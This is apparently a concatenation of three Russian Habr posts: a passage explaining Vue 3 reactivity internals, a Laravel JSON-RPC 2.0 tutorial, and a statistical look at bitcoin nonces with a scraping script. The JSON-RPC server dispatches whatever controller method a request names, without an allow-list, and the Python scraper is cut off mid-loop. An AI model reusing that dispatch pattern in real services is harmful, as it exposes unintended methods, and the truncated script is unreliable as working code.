*Более того, реализация реактивности в Vue 2 не позволяет отслеживать* [*динамическое добавление*](https://vuejsdevelopers.com/2017/03/05/vue-js-reactivity/#vue-2-reactivity-caveats) *новых свойств после создания инстанса компонента, так как «дарование» свойствам реактивности через Object.defineProperty происходит на этапе создания инстанса компонента.*
Также setupComponent оборачивает весь контекст instance.ctx в proxy и создает accessCache, который будет кэшировать обращения к data, props, setupState и т.п.:
```
// создание легковесного dictionary для хранения свойств
// и их типов доступа AccessTypes
instance.accessCache = Object.create(null)
const PublicInstanceProxyHandlers: ProxyHandler = {
get({ \_: instance }: ComponentRenderContext, key: string) {
// кэширование обращений к key в accessCache
},
set(
{ \_: instance }: ComponentRenderContext,
key: string,
value: any
): boolean {
// обновление key в setupState, data, props, context
},
}
instance.proxy = new Proxy(instance.ctx, PublicInstanceProxyHandlers)
```
Например, свойству dynamic при записи в accessCache будет назначен AccessTypes.DATA, значение «2».
PublicInstanceProxyHandlers – это объект-заменитель, который содержит те же самые обработчики ловушек get, set и т.д., но только на более высоком уровне, то есть при обращении к свойству dynamic сначала вызовется getter на PublicInstanceProxyHandlers, который сделает базовую обработку (получение dynamic по accessCache или запись dynamic в accessCache при первом обращении, определение setupState, data и т.п.), а уже потом getter из mutableHandlers на самой data.
Итак, теперь на этапе вызова render-функции будут вызываться getter-ы из PublicInstanceProxyHandlers и mutableHandlers, которые отметят свойство data.dynamic как отслеживаемое и установят зависимости, которые должны будут инициализироваться при изменении этого свойства. Давайте рассмотрим этот процесс детальнее в следующей главе.
### Создание эффекта рендеринга и установка отслеживания свойств состояния
Отслеживание dynamic во время вызова render-функции в функции setupRenderEffectsetupRenderEffect создает новый эффект рендеринга, ReactiveEffect, который будет «разруливать» последующий рендеринг компонента при первоначальном запуске и после перерасчета:
```
const effect = new ReactiveEffect(
componentUpdateFn,
() => queueJob(update),
instance.scope
)
```
componentUpdateFn – функция рендеринга компонента, которая вызывает patch, отвечающий за перенаправление обработки тех или иных vnode согласно их типам на функции-обработчики, например, processComponent, processElement, processText и т.п. Подробнее об этом было написано [в предыдущей статье](https://habr.com/ru/company/nordclan/blog/699356/).
`() => queueJob(update)` – функция, которая поставит в очередь микротасок эффект рендеринга (вызов componentUpdateFn). Грубо говоря, это некий «планировщик» рендеринга после обновлений.
watch*Для полноты картины скажу, что помимо queueJob есть и другие функции для работы с микротасками. Например, queuePreFlushCb и queuePostFlushCb, которые используются в* [*watch*](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing)*, чтобы установить срабатывание watch (опция flush) до или после рендеринга в микротаске.*
instance.scope – область применения эффектов ограничивается своим scope, то есть текущим создаваемым или обновляемым компонентом.
`new ReactiveEffect()` запишет в scope новый эффект – componentUpdateFn:
```
class ReactiveEffect {
constructor(
public fn: () => T,
scope?: EffectScope
) {
// fn – функция рендеринга componentUpdateFn
scope.effects.push(fn)
}
}
```
Например, scope может быть полезен, для того, чтобы остановить какой-нибудь watch.
Далее объявляется «запускатор» эффектов, то есть в instance.update записывается функция запуска эффекта:
```
const effect = new ReactiveEffect(
// …
)
const update: SchedulerJob = () => effect.run()
update()
```
update вызовет effect.run, который запустит установит эффект рендеринга как текущий активный эффект, activeEffect:
```
let activeEffect: ReactiveEffect | undefined
class ReactiveEffect {
run() {
activeEffect = this
return this.fn()
}
}
```
this.fn вызовет функцию рендеринга componentUpdateFn, которая в свою очередь вызовет render-функцию, внутри которой будут происходить обращения к dynamic:
```
return function render(_ctx, _cache) {
with (_ctx) {
// ...
return (_openBlock(), _createElementBlock("div", null, [
// ...
// обращение к dynamic вызовет обработчики get-ловушек на instance.ctx и $data
_createElementVNode("div", null, _toDisplayString(dynamic), 1 /* TEXT */),
])
)
}
}
```
Вспомнить все*Да, кстати, я забыл упомянуть в* [первой статье](https://habr.com/ru/company/nordclan/blog/690522/)*, что dynamic берется путем предоставления контекста через* [*with*](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/with)*, которое создает область видимости «на лету», так как мы помним, что сама render-функция составляется из строки и было бы неудобно создавать обращения к каждому свойству через точечную нотацию.*
Обращение к dynamic вызовет proxy-ловушку get из instance.ctx, которая при первом обращении к dynamic запишет его в accessCache, присвоив ему соответствующий AccessType, чтобы в дальнейшем определять, откуда брать этот ключ и обеспечить сложность алгоритма O(n):
```
{
get(target: Target, key: string | symbol) {
// первое обращение к ключу из data проходит через проверку hasOwn
if (data !== EMPTY_OBJ && hasOwn(data, key)) {
accessCache![key] = AccessTypes.DATA
return data[key]
}
}
}
```
А при следующем обращении dynamic возьмется из accessCache:
```
// второе обращение к ключу берется из accessCache
const n = accessCache![key]
// проверки hasOwn больше не нужны, так как они проводились при первом обращении к ключу, то есть устанавливается константная сложность алгоритма
if (n !== undefined) {
switch (n) {
case AccessTypes.SETUP:
return setupState[key]
case AccessTypes.DATA:
// получение data.dynamic произойдет здесь
return data[key]
case AccessTypes.CONTEXT:
return ctx[key]
case AccessTypes.PROPS:
return props![key]
}
}
```
Помним, data также была обернута в proxy, то есть обращение к data[key] будет перехвачено в mutableHandlers на get-ловушке, которая установит слежение за dynamic:
```
{
get(target: Target, key: string | symbol) {
// target равный { dynamic: 1 }
// key равный dynamic
track(target, TrackOpTypes.GET, key)
{
}
```
Так, теперь внимательно следим за ловкостью рук без мошенничества, так как мне потребовалось какое-то время, чтобы понять смысл данного кода.
Функция track проверит, есть ли текущий отслеживаемый объект состояния data в зависимостях, и, если нет, установит его в WeakMap.
WeakMap позволит не держать в памяти те состояния, компоненты которых были, например, размонтированы, то есть когда ни один компонент не будет ссылаться на это состояние (а вот [ссылка](https://habr.com/ru/company/oleg-bunin/blog/433318/), чтобы освежить вашу память о ссылках в JS :D):
```
const targetMap = new WeakMap()
function track(target: object, type: TrackOpTypes, key: unknown) {
// получить зависимости по ключу target равному { dynamic: 1 }
let depsMap = targetMap.get(target)
// если нет коллекции зависимостей по ключу { dynamic: 1 }, создать ее
if (!depsMap) {
depsMap = new Map()
targetMap.set(target, depsMap)
}
// ...
}
```
То есть targetMap будет выглядеть так после записи в него data, где в качестве ключа будет состояние data, а в качестве значения – зависимости:
Состояние data в качестве ключаДалее будет произведена попытка получить зависимости для dynamic и, если их нет, будет создана новая:
```
function track(target: object, type: TrackOpTypes, key: unknown) {
// …
// получить зависимости для ключа равного dynamic
let dep = depsMap.get(key)
// если нет зависимостей для dynamic, создать их
if (!dep) {
dep = createDep()
depsMap.set(key, dep)
}
}
```
И теперь targetMap будет выглядеть вот так:
Свойство dynamic в качестве ключа с зависимостями в значенииТеперь для `{ dynamic: 1 }` будет записана новая зависимость dynamic, у которой в качестве значения будет Set-коллекция возможных эффектов.
Наконец, будет вызвана trackEffect, которая добавит для dynamic возможные эффекты:
```
function track(target: object, type: TrackOpTypes, key: unknown) {
// ...
let dep = depsMap.get(key)
// ...
trackEffects(dep)
}
```
Так как обращение к dynamic произошло в процессе работы эффекта рендеринга, то trackEffects добавит для dynamic текущий активный эффект, эффект рендеринга, который был ранее создан в setupRenderEffect:
```
function trackEffects(dep: Dep) {
// fn – эффект рендеринга, вызывающий функцию componentUpdateFn
dep.add(activeEffect!)
}
```
Теперь при изменении свойства dynamic будет запущен эффект рендеринга.
Итак, был создан ключевой эффект, эффект рендеринга, на этапе вызова которого произошло обращение к свойству data.dynamic, которое было записано в accessCache для оптимизации.
Также, в data.dynamic была добавлена зависимость эффекта рендеринга, то есть при дальнейших изменениях data.dynamic будет запущен эффект рендеринга.
### Работа эффектов на примере Composition API
Чтобы лучше понять работу эффектов, на один миг перепишем компонент в стиле Composition API:
```
Vue
.createApp({
setup() {
const dynamic = Vue.ref(1)
const dynamicSquare = Vue.computed(() => dynamic.value ** 2);
return {
dynamic,
dynamicSquare,
}
},
template: `
foo
bar
{{ dynamic }}
{{ dynamicSquare }}
increment
`,
})
.mount('#app')
```
Как видите, dynamic обернули в ref, а также добавили производное от dynamic – dynamicSquare, обернутое в computed. То есть dynamicSquare по сути будет находиться в зависимостях у dynamic, так как обращается к dynamic.value.
Схематично это можно представить так:
Создание состояния функцией setup и обращение к нему в render-функцииref и computed создадут инстансы классов RefImpl и ComputedRefImpl соответственно, которые будет иметь свои get- и set- методы. Однако ComputedRefImpl помимо простого отслеживания и вызова эффектов, также создает свой ReactiveEffect, так как перерасчет значения `dynamic.value ** 2` вызовет эффект рендеринга, который должен выполняться в очереди:
```
class ComputedRefImpl {
constructor(
getter: ComputedGetter,
) {
// getter равный () => dynamic.value \*\* 2
this.effect = new ReactiveEffect(getter, () => {
// функция записи эффекта рендеринга в очередь
triggerRefValue(this)
})
}
get value() {
// запустить getter равный () => dynamic.value \*\* 2
self.\_value = self.effect.run()
return self.\_value
}
}
```
Vue.ref и Vue.computed вызываются внутри метода setup. В работе метода setup ничего сложного нет. Это тот же data, но возвращает он только свойства, которые вы уже сами оборачиваете в реактивную оболочку (RefImpl и ComputedRefImpl).
setup вызовется на этапе setupComponent:
```
const { setup } = Component
if (setup) {
// вернет { dynamic: RefImpl, dynamicSquare: ComputedRefImpl }
const setupResult = setup();
}
handleSetupResult(setupResult)
```
Функция handleSetupResult запишет в setupState результат вызова setup – setupResult:
```
instance.setupState = setupResult
```
В остальном рендеринг и отслеживание изменений идут примерно по тому же сценарию.
Первым вызовется эффект рендеринга, и при вызове render-функции и обращении к dynamic и к dynamicSquare этот эффект запишется в качестве их зависимостей:
Запись эффекта рендеринга в качестве зависимости dynamicТакже при обращении к dynamicSquare запуститься эффект `() => dynamic.value ** 2`. И так как в теле этой функции будет обращения к dynamic.value, то сработает ее getter, который обновит зависимости dynamic, добавит функцию перерасчета `() => dynamic.value **` в качестве зависимости:
Запись эффекта перерасчета dynamicSquare в качестве зависимости dynamicТо есть теперь при изменении dynamic запуститься эффект рендеринга и эффект `() => dynamic.value ** 2`.
Теперь давайте сядем в Делориан и вернемся в прошлое к нашему старому компоненту с data и последуем призыву группы «Технология» нажав на кнопку increment, чтобы изменить состояние компонента.
### Изменение состояния компонента
Изменение dynamic при нажатии на increment с помощью setter-овВспомним обработчик клика в render-функции:
```
onClick: () => {
// обращение к dynamic вызовет getter-ы из proxy
// далее присвоение вызовет setter-ы из proxy
dynamic += 1
}
```
Обращение к dynamic во второй раз (первый был при первичном рендеринге) достанет значение этого свойства через getter уже по accessCache.
А далее вызовется первая proxy-ловушка на set из PublicInstanceProxyHandlers, где будет определено, куда записать новое значение для ключа dynamic: в setupState, data и т.п.
После придет черед для второго set из mutableHandlers, который установит новое значение для dynamic через рефлексию и вызовет обновления эффектов через trigger:
```
{
set(target: Target, key: string | symbol, value: unknown, receiver: Object) {
// установить ключу dynamic новое значение в { dynamic: 1 }
Reflect.set(target, key, value, receiver)
trigger(target, TriggerOpTypes.SET, key, value, oldValue)
}
}
```
Функция trigger получит обновленное состояние `{ dynamic: 2 }` из targetMap:
```
function trigger(
target: object,
key?: unknown,
) {
const depsMap = targetMap.get(target)
// …
}
```
Далее в deps будут получены все зависимости для ключа dynamic из depsMap :
```
function trigger(
target: object,
key?: unknown,
) {
// …
let deps: (Dep | undefined)[] = []
deps.push(depsMap.get(key))
}
```
Помним, что у dynamic лишь одна зависимость – эффект рендеринга. Следовательно, активация эффекта рендеринга будет вызвана на deps[0]:
```
function trigger( target: object, key?: unknown,) {
// …
let deps: (Dep | undefined)[] = []
// …
triggerEffects(deps[0])
}
```
Эффект рендеринга будет вызван в функции triggerEffects. Сначала произойдет нормализация данных для использования цикла на effects, а далее в цикле будет вызвана функция triggerEffect:
```
function triggerEffects(dep: Dep | ReactiveEffect[]) {
// нормализация данных
const effects = isArray(dep) ? dep : [...dep]
for (const effect of effects) {
triggerEffect(effect)
}
}
```
Функция triggerEffect запустит sheduler `() => queueJob(update)`, который мы ранее видели в setupRenderEffect при создании эффекта рендеринга:
```
function triggerEffect(effect: ReactiveEffect) {
if (effect.scheduler) {
effect.scheduler()
} else {
effect.run()
}
}
```
Если же у эффекта нет sheduler, то он будет вызван сразу же.
На данном этапе мы рассмотрели что происходит после нажатия на кнопку increment: срабатывают setter-ы для dynamic, а далее вызываются эффекты-зависимости, которые есть у dynamic… Нуу, вернее вызывает их sheduler, если таковой есть.
Мы уже сталкивались с упоминанием очередей ранее и у нас не могли не возникнуть следующие вопросы: что же за очереди; для чего они нужны и какую роль играет в процессе ререндеринга компонента? На все эти вопросы мы ответим, рассказав о sheduler.
### Создание очереди эффектов через sheduler
Начнем с вопроса «Для чего?».
Вспомним пример с Composition API. Есть dynamic и производное от него dynamicSquare. И у первого, и у второго в зависимостях будет указан эффект рендеринга. То есть при изменении dynamic по логике вещей должен будет произойти ререндер, далее будет вычислено dynamicSquare и опять произойдет ререндер…
Изменение dynamic может привести к вызовам двух эффектам рендерингаКак этого избежать? Конечно же путем batch updates.
Для начала, выстраивание очереди эффектов происходит посредством [создания микротаски](https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide) (особенно рекомендую обратить внимание на раздел Batching operations), так как это позволяет производить [batch updates](https://www.how-to-vue.com/vue/reactivity/batch-update.html).
Знаем, что изменение dynamic вызовет triggerEffect, первой зависимостью будет эффект перерасчета dynamicSquare.
triggerEffect поставит задачу перерасчета `() => dynamic.value ** 2` в очередь с помощью effect.sheduler, который вызовет queueJob. queueJob проверит наличие очереди и отсутствие в ней добавляемой job-ы и, если job-ы нет, то добавит в очередь новую job-у и отправит ее на batch update, вызвав queueFlush:
```
function queueJob(job: SchedulerJob) {
if (
!queue.length || !queue.includes( job)
) {
queue.push(job)
queueFlush()
}
}
```
queueFlush проверяет, нет ли текущих выполняемых flush updates или ожидания на выполнения нового flush updates и, если нет, то ставит в очередь микротасков новое batch-обновление, которое будет работать с queue:
```
function queueFlush() {
if (!isFlushing && !isFlushPending) {
isFlushPending = true
currentFlushPromise = resolvedPromise.then(flushJobs)
}
}
```
Теперь, Vue пройдется по остальным эффектам из зависимостей dynamic, взяв эффект рендеринга. Однако, этот эффект не поставится в очередь, так как она уже заполнена эффектом перерасчета dynamicSquare.
Поэтому произойдет свертывание callstack-а, а значит наступит очередь микротасок, в которые и попадет функция flushJobs:
```
function flushJobs() {
// currentFlushPromise переходит в статус fulfill
isFlushPending = false
isFlushing = true
try {
for (flushIndex = 0; flushIndex < queue.length; flushIndex++) {
const job = queue[flushIndex]
// вызвать зависимость из dynamicSquare – эффект рендеринга
callWithErrorHandling(job)
}
} finally {
// очистить очередь эффектов
queue.length = 0
isFlushing = false
currentFlushPromise = null
}
}
```
flushJobs вызовет зависимость из dynamicSquare – эффект рендеринга, а после сделает сброс всех значений для последующих batch updates.
То есть теперь процесс обновления получается более плоским. Рендеринг будет вызываться после того, как отработает основной callstack из тасок, то есть после того как применятся все эффекты, обновится состояние и т.д.:
Обновление dynamic приведет к вызову одного эффекта рендеринга в микротаскахНемного о nextTick*Кстати, помните о методе nextTick? Иногда приходилось вызывать его, чтобы получить доступ к обновленному DOM. В своей реализации nextTick как раз обращается к currentFlushPromise, ждет того момента, когда этот промис завершиться, то есть когда отработают все микротаски в flushJobs, которые обновят DOM:*
```
function nextTick(
this: T,
fn?: (this: T) => void
): Promise {
const p = currentFlushPromise
// если был передан callback, то вызвать его после выполнения промиса
// иначе вернуть currentFlushPromise для его ручной обработки
return fn ? p.then(this ? fn.bind(this) : fn) : p
}
```
*Схематично это можно было бы представить вот так:*
nextTick вызовется после завершения микротасокРезюме
------
Теперь мы знаем как работает реактивность в Vue в общих чертах:
* При первичном рендеринге компонента его состояние data оборачивается в proxy, далее обращения в render-функции к свойствам data вызывает getter-ы на proxy, которые помечают свойства как отслеживаемые;
* каждое отслеживаемое свойство имеет зависимости, и так как отслеживаемые свойства были прочитаны во время рендеринга, то значит они получат зависимость – эффект рендеринга
* при изменении какого-либо свойства сработает setter на proxy и вызовет зависимости свойства, то есть эффект рендеринга
* эффект рендеринга будет выполнен в микротасках в так называемой очереди batch updates, после того как завершиться основная работа, связанная с перерасчетом | https://habr.com/ru/post/706536/ | null | ru | null |
# SOA на Laravel и JSON-RPC 2.0
SOA (Сервис-Ориентированная Архитектура) строится путём комбинации и взаимодействия слабо-связанных сервисов.
Для демонстрации создадим два приложения Клиент и Сервер и организуем их взаимодействие посредством протокола удаленного вызова процедур `JSON-RPC 2.0`.
#### Клиент
Приложение Клиент представляет собой сайт для создания и отображения некого контента. Клиент не содержит собственной базы данных, а получает и добавляет данные благодаря взаимодействию с приложением Сервер.
На клиенте взаимодействие обеспечивает класс `JsonRpcClient`
```
namespace ClientApp\Services;
use GuzzleHttp\Client;
use GuzzleHttp\RequestOptions;
class JsonRpcClient
{
const JSON_RPC_VERSION = '2.0';
const METHOD_URI = 'data';
protected $client;
public function __construct()
{
$this->client = new Client([
'headers' => ['Content-Type' => 'application/json'],
'base_uri' => config('services.data.base_uri')
]);
}
public function send(string $method, array $params): array
{
$response = $this->client
->post(self::METHOD_URI, [
RequestOptions::JSON => [
'jsonrpc' => self::JSON_RPC_VERSION,
'id' => time(),
'method' => $method,
'params' => $params
]
])->getBody()->getContents();
return json_decode($response, true);
}
}
```
Нам потребуется библиотека `GuzzleHttp`, предварительно устанавливаем ее.
Формируем вполне стандартный `POST` запрос с помощью `GuzzleHttp\Client`. Основной нюанс здесь заключается в формате запроса.
Согласно спецификации `JSON-RPC 2.0` запрос должен иметь вид:
```
{
"jsonrpc": "2.0",
"method": "getPageById",
"params": {
"page_uid": "f09f7c040131"
},
"id": "54645"
}
```
* `jsonrpc` версия протокола, должна быть указана «2.0»
* `method` имя метода
* `params` массив с параметрами
* `id` идентификатор запроса
Ответ
```
{
"jsonrpc": "2.0",
"result": {
"id": 2,
"title": "Index Page",
"content": "Content",
"description": "Description",
"page_uid": "f09f7c040131"
},
"id": "54645"
}
```
Если запрос был выполнен с ошибкой, получаем
```
{
"jsonrpc": "2.0",
"error": {
"code": -32700,
"message": "Parse error"
},
"id": "null"
}
```
* `jsonrpc` версия протокола, должна быть указана «2.0»
* `result` обязательное поле при успешном результате запроса. Не должно существовать при возникновении ошибки
* `error` обязательное поле при возникновении ошибки. Не должно существовать при успешном результате
* `id` идентификатор запроса, установленный клиентом
Ответ формирует сервер, так что мы к нему еще вернемся.
В контроллере необходимо сформировать запрос с нужными параметрами и обработать ответ.
```
namespace ClientApp\Http\Controllers;
use App\Services\JsonRpcClient;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redirect;
class SiteController extends Controller
{
protected $client;
public function __construct(JsonRpcClient $client)
{
$this->client = $client;
}
public function show(Request $request)
{
$data = $this->client->send('getPageById', ['page_uid' => $request->get('page_uid')]);
if (empty($data['result'])) {
abort(404);
}
return view('page', ['data' => $data['result']]);
}
public function create()
{
return view('create-form');
}
public function store(Request $request)
{
$data = $this->client->send('create', $request->all());
if (isset($data['error'])) {
return Redirect::back()->withErrors($data['error']);
}
return view('page', ['data' => $data['result']]);
}
}
```
Фиксированный формат ответа JSON-RPC позволяет легко понять успешным ли был запрос и применить какие-либо действия, если ответ содержит ошибку.
#### Сервер
Начнем с настройки роутинга. В файл `routes/api.php` добавим
```
Route::post('/data', function (Request $request, JsonRpcServer $server, DataController $controller) {
return $server->handle($request, $controller);
});
```
Все запросы поступившие на сервер по адресу `/data` будут обработаны классом `JsonRpcServer`
```
namespace ServerApp\Services;
class JsonRpcServer
{
public function handle(Request $request, Controller $controller)
{
try {
$content = json_decode($request->getContent(), true);
if (empty($content)) {
throw new JsonRpcException('Parse error', JsonRpcException::PARSE_ERROR);
}
$result = $controller->{$content['method']}(...[$content['params']]);
return JsonRpcResponse::success($result, $content['id']);
} catch (\Exception $e) {
return JsonRpcResponse::error($e->getMessage());
}
}
}
```
Класс `JsonRpcServer` связывает нужный метод контроллера с переданными параметрами. И возвращает ответ сформированный классом `JsonRpcResponse` в формате согласно спецификации `JSON-RPC 2.0` описанной выше.
```
use ServerApp\Http\Response;
class JsonRpcResponse
{
const JSON_RPC_VERSION = '2.0';
public static function success($result, string $id = null)
{
return [
'jsonrpc' => self::JSON_RPC_VERSION,
'result' => $result,
'id' => $id,
];
}
public static function error($error)
{
return [
'jsonrpc' => self::JSON_RPC_VERSION,
'error' => $error,
'id' => null,
];
}
}
```
Осталось добавить контроллер.
```
namespace ServerApp\Http\Controllers;
class DataController extends Controller
{
public function getPageById(array $params)
{
$data = Data::where('page_uid', $params['page_uid'])->first();
return $data;
}
public function create(array $params)
{
$data = DataCreate::create($params);
return $data;
}
}
```
Не вижу смысла описывать подробно контроллер, вполне стандартные методы. В классе `DataCreate` собрана вся логика создания объекта, также проверка на валидность полей с выбросом необходимого исключения.
### Вывод
Я старался не усложнять логику самих приложений, а сделать акцент на их взаимодействии.
Про плюсы и минусы JSON-RPC неплохо написано в статье, ссылку на которую я оставлю ниже. Такой подход актуален, например, при реализации встраиваемых форм.
### Ссылки
* Подробнее про протокол взаимодействия читаем здесь [jsonrpc.org/specification](https://www.jsonrpc.org/specification)
* [REST? Возьмите тупой JSON-RPC](https://habr.com/ru/post/441854/) статья описывающая плюсы и минусы JSON-RPC | https://habr.com/ru/post/499626/ | null | ru | null |
# Исследование статистической вероятности значения бита в нонсе bitcoin
Считается, что функция sha256( sha256( BlockHeader ) ), которая используется в алгоритме хэширования bitcoin весьма надежна. Надежна настолько, что существует только один единственный способ подобрать голден нонсе для очередного блока в блокчейне — путем перебора в процессе майнинга.
В настоящее время в блокчейне биткоина уже более 530 тысяч блоков. Этого вполне достаточно, чтобы провести статистический анализ и ответить на вопрос: «действительно ли значения битов в ранее найденных нонсе равновероятно?».
Самый простой статистический анализ можно сделать не на всем блокчейне, а только на последних нескольких тысячах блоков. Для этого потребуется взять эту информацию, например, с сайта btc.com. Этот блокчейн эксплорер имеет достаточно развитое апи, которым и воспользуемся. Напишем вот такой простой скрипт, который с помощью библиотеки requests скачает информацию о последних 2000 блоков. Меня интересует только одно значение — nonce, его я и буду записывать в текстовый файл вместе с номером блока.
```
import requests
target_blk_num=538800
num_block_for_study=2000
txt=open("bitcoin/nonces.txt","w")
blk_num=target_blk_num-num_block_for_study
print("Fetching blocks from "+str(blk_num) +" to "+str(target_blk_num) )
while blk_num
```
Нужно запустить скрипт и подождать окончания его работы. Получим вот такой файл с 2-мя тысячами строк:
**Значения нонсе последних блоков:**`536800 0x0A75F108 175501576
536801 0x64046EE3 1678012131
536802 0x43842181 1132732801
536803 0x69D1FE65 1775369829
536804 0x5F3A5706 1597658886
536805 0x77E7FC5A 2011692122
536806 0x29FC3572 704394610
536807 0x6FA83F41 1873297217
536808 0xB498D106 3029913862
536809 0xCFCADF12 3486179090
536810 0x3217C81D 840419357
536811 0x0A4DD1A5 172872101
536812 0xC422E8B4 3290622132
536813 0x9512DA88 2501040776
536814 0x5606B5C9 1443280329
536815 0x4EAD3CC6 1319976134
536816 0x421482FF 1108640511
536817 0x15311B34 355539764
536818 0xE2879E05 3800538629
536819 0x41EB3E73 1105935987
536820 0x29ED08CD 703400141
536821 0x8B4FB3F7 2337256439
536822 0x0FF2B634 267564596
536823 0x32E51D55 853876053
536824 0xE09DBAE1 3768433377
536825 0xD97F44E5 3648996581
536826 0x90A4EC5E 2426727518
536827 0xCBF74735 3421980469
536828 0x6D2F10F0 1831801072
536829 0xE595A073 3851788403
536830 0xC8765E94 3363200660
536831 0x09DC9851 165451857
536832 0xC2EFEA16 3270502934
536833 0x7897622F 2023186991
536834 0x706949F8 1885948408
536835 0x1B619051 459378769
536836 0xE707A346 3876037446
536837 0xB3B0D216 3014709782
536838 0x51B8F9E8 1371077096
536839 0xE2207F9D 3793780637
536840 0xD0D15245 3503379013
536841 0x904FE5C5 2421155269
536842 0xFF326B4B 4281494347
536843 0x312BAA45 824945221
536844 0x88702768 2289051496
536845 0xD8924803 3633465347
536846 0xEFAB5E6B 4020985451
536847 0x76779ACB 1987549899
536848 0x81436738 2168678200
536849 0x02896E6A 42561130
536850 0x76D3ED09 1993600265
536851 0x8F2052C7 2401260231
536852 0x6A9984CA 1788445898
536853 0xD541C515 3577857301
536854 0x6AC2384F 1791113295
536855 0x214031F1 557855217
536856 0xF028BB76 4029201270
536857 0xF821479C 4162930588
536858 0xEF9C2E42 4019990082
536859 0x9E02734E 2650960718
536860 0x20C786E9 549947113
536861 0xEB84DD18 3951353112
536862 0x422720B2 1109860530
536863 0xA59EC71A 2778646298
536864 0x2FFF3B42 805256002
536865 0x5D606431 1566598193
536866 0xF4FB4B01 4110109441
536867 0x68AC0CD5 1756105941
536868 0x6C35C2A6 1815462566
536869 0xF38F0409 4086236169
536870 0xABE37AC2 2883812034
536871 0xF60096CA 4127233738
536872 0x8E3B0BA3 2386234275
536873 0x2904FF1A 688193306
536874 0xCE6A1E32 3463061042
536875 0xB110BD24 2970664228
536876 0xF28289CC 4068641228
536877 0x2719E083 656007299
536878 0xD14BF4E7 3511416039
536879 0x046C418A 74203530
536880 0xF239BEC6 4063870662
536881 0x619CDB26 1637669670
536882 0x0FAB9F09 262905609
536883 0xC8A14FC1 3366014913
536884 0x2BDC9BF0 735878128
536885 0x551D0A18 1427966488
536886 0x43BDC8E5 1136511205
536887 0x93236DB3 2468572595
536888 0xA6DF3DD6 2799648214
536889 0xD956E81A 3646351386
536890 0xA292405D 2727493725
536891 0x4ECF97EA 1322227690
536892 0x6C289307 1814598407
536893 0x0FE7B408 266843144
536894 0xD7A54779 3617933177
536895 0x49A575B6 1235580342
536896 0x660B7018 1712025624
536897 0x5A90DE66 1519443558
536898 0x24602343 610280259
536899 0xEA91EE92 3935432338
536900 0x2A7DEBC9 712895433
536901 0x7F8919BF 2139691455
536902 0x85DD793B 2245884219
536903 0x508B343F 1351300159
536904 0xA7541C57 2807307351
536905 0x902EAF9E 2418978718
536906 0x2932BE12 691191314
536907 0x304C8808 810321928
536908 0xB0DC682A 2967234602
536909 0x4F53EFD7 1330900951
536910 0xF042D46A 4030911594
536911 0x84726E0D 2222091789
536912 0xC8667200 3362157056
536913 0x4CCEAD50 1288613200
536914 0x60D8E12E 1624826158
536915 0x40BC2101 1086071041
536916 0x5758F201 1465446913
536917 0x45BD335F 1170027359
536918 0x56E151A9 1457607081
536919 0x11DE7F25 299794213
536920 0x361D50CE 907890894
536921 0xFBC73CE0 4224138464
536922 0x57232881 1461921921
536923 0x83AB7ACF 2209053391
536924 0x8F7E47AF 2407417775
536925 0x6425150A 1680151818
536926 0x596C4C78 1500269688
536927 0xA2B5D934 2729826612
536928 0xBC673E6A 3160882794
536929 0xE8116AB6 3893455542
536930 0x92661734 2456164148
536931 0x65904416 1703953430
536932 0xD2DC8C64 3537669220
536933 0xAC14A926 2887035174
536934 0x98B9F2D6 2562323158
536935 0xB85796F5 3092748021
536936 0x08D3AC55 148089941
536937 0x08532D08 139668744
536938 0x58022FF2 1476538354
536939 0x2C1D0FA9 740102057
536940 0x83668A2B 2204535339
536941 0x938CBC67 2475474023
536942 0x49A14B37 1235307319
536943 0x8FA2492A 2409777450
536944 0x822227E8 2183276520
536945 0xB6AE2123 3064865059
536946 0xE83D8756 3896346454
536947 0xD6437316 3594744598
536948 0x731E7A99 1931377305
536949 0x9F63EDE8 2674126312
536950 0xA9B67DCD 2847309261
536951 0x2B77E7F6 729278454
536952 0x6F3E3B5F 1866349407
536953 0xF1FF973E 4060059454
536954 0x28AC9397 682398615
536955 0x5920CE0A 1495322122
536956 0x916C0AA2 2439776930
536957 0x5CDF71F2 1558147570
536958 0x9A41B702 2587997954
536959 0xB16D4B56 2976729942
536960 0x0C88EE3E 210300478
536961 0x6A6D7474 1785558132
536962 0x7544CFAE 1967443886
536963 0xD14824C2 3511166146
536964 0xA1FF9FFA 2717884410
536965 0xA1CABEE0 2714418912
536966 0xED5BD1E0 3982217696
536967 0x3095185B 815077467
536968 0x87A71339 2275873593
536969 0x877DB48E 2273162382
536970 0x4ABD04F2 1253901554
536971 0xC29C3B16 3265018646
536972 0xF0C21FF7 4039254007
536973 0x4B60F69E 1264645790
536974 0x1297C086 311935110
536975 0xB2DF972E 3000997678
536976 0xA3746A7F 2742315647
536977 0x5690FA49 1452341833
536978 0xDD69D9F1 3714701809
536979 0x16C9F432 382334002
536980 0x776F7186 2003792262
536981 0xE5DC34D6 3856413910
536982 0x07B9F683 129627779
536983 0x37ADFF70 934150000
536984 0x020655F6 33969654
536985 0x828F3054 2190422100
536986 0x6830DB63 1748032355
536987 0xC8BDAD1D 3367873821
536988 0x456172DD 1164014301
536989 0x4EEF786C 1324316780
536990 0x047313AB 74650539
536991 0x4A9C6F2E 1251766062
536992 0x16AE3E21 380517921
536993 0x75E6BBE9 1978055657
536994 0x4DB86F32 1303932722
536995 0x537A470F 1400522511
536996 0x09D57784 164984708
536997 0x225542F8 576013048
536998 0x9285CB22 2458241826
536999 0x8A5D251C 2321360156
537000 0x4EF17C51 1324448849
537001 0xF2EE1FD0 4075691984
537002 0x21F69ED9 569810649
537003 0xA3D38623 2748548643
537004 0x437747C6 1131890630
537005 0x2DAE22B4 766386868
537006 0xA564238C 2774803340
537007 0x9B0DA8F5 2601363701
537008 0x9BF14D85 2616282501
537009 0xEF7EFDCD 4018077133
537010 0x1D3654BE 490099902
537011 0x284DA6AE 676177582
537012 0xCCACDD6D 3433880941
537013 0x85DC2096 2245795990
537014 0x23720223 594674211
537015 0xBD5A6697 3176818327
537016 0x02ABD9F2 44816882
537017 0xCD810703 3447785219
537018 0x2594C210 630506000
537019 0x04D87CA6 81296550
537020 0x21BF189D 566171805
537021 0x0B3E23E2 188621794
537022 0x7852C9A1 2018691489
537023 0xE55F03D2 3848209362
537024 0xE0DE42DC 3772662492
537025 0xDDE9DF00 3723091712
537026 0x9A857C48 2592439368
537027 0x6506143F 1694897215
537028 0x8A1E2D28 2317233448
537029 0x9D56D3A8 2639713192
537030 0xE65D60AE 3864879278
